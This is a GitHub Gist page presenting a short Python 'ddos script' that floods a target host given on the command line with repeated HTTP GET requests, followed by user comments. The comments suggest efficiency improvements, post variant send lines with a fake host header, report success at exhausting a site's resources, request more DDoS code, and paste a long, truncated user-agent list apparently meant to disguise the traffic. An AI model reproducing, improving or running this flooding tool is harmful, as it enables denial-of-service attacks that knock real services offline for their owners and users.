Skip to content

Instantly share code, notes, and snippets.

@tinnguyenz
Created October 25, 2011 10:28
Show Gist options
  • Save tinnguyenz/1312196 to your computer and use it in GitHub Desktop.
Save tinnguyenz/1312196 to your computer and use it in GitHub Desktop.
Python ddos script
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
s.close()
for i in range(1, 1000):
attack()
@theparanoiddroid
Copy link

where is the victims information?

@ledcell
Copy link

ledcell commented Jan 30, 2018

Needs updates and improvements.

@flying8lack
Copy link

this script needs improvement, every time the script calls "Attack()", it redefines the variable "s", it makes the script goes slower and can be very inefficient, also pulling input using "sys.argv" every time can be slow, instead pull the "sys.argv" once and assign the value into a value before the "Attack()" is called.

Copy link

ghost commented Jul 23, 2018

tried on my website. Works just fine at exhausting the resource pool. I want to write my own DDOS tool too. Nice to see such a small script can do damage.

@gasper101
Copy link

I made it almost the same way

@gasper101
Copy link

except ml send lines look like this
s.send(('Get /' + target + 'HTTP/1.1\r\n').encode('ascii'), (target, port))
s.send(('Host:' + fakeip + '\r\n\r\n').encode('ascii'), (target, port))

@guruhackz
Copy link

Can anyone write a code for ddos for me using python please!

@FredyMendoza5307
Copy link

headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; GoogleBot/1.0; +https://marcasdecoches.info/)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment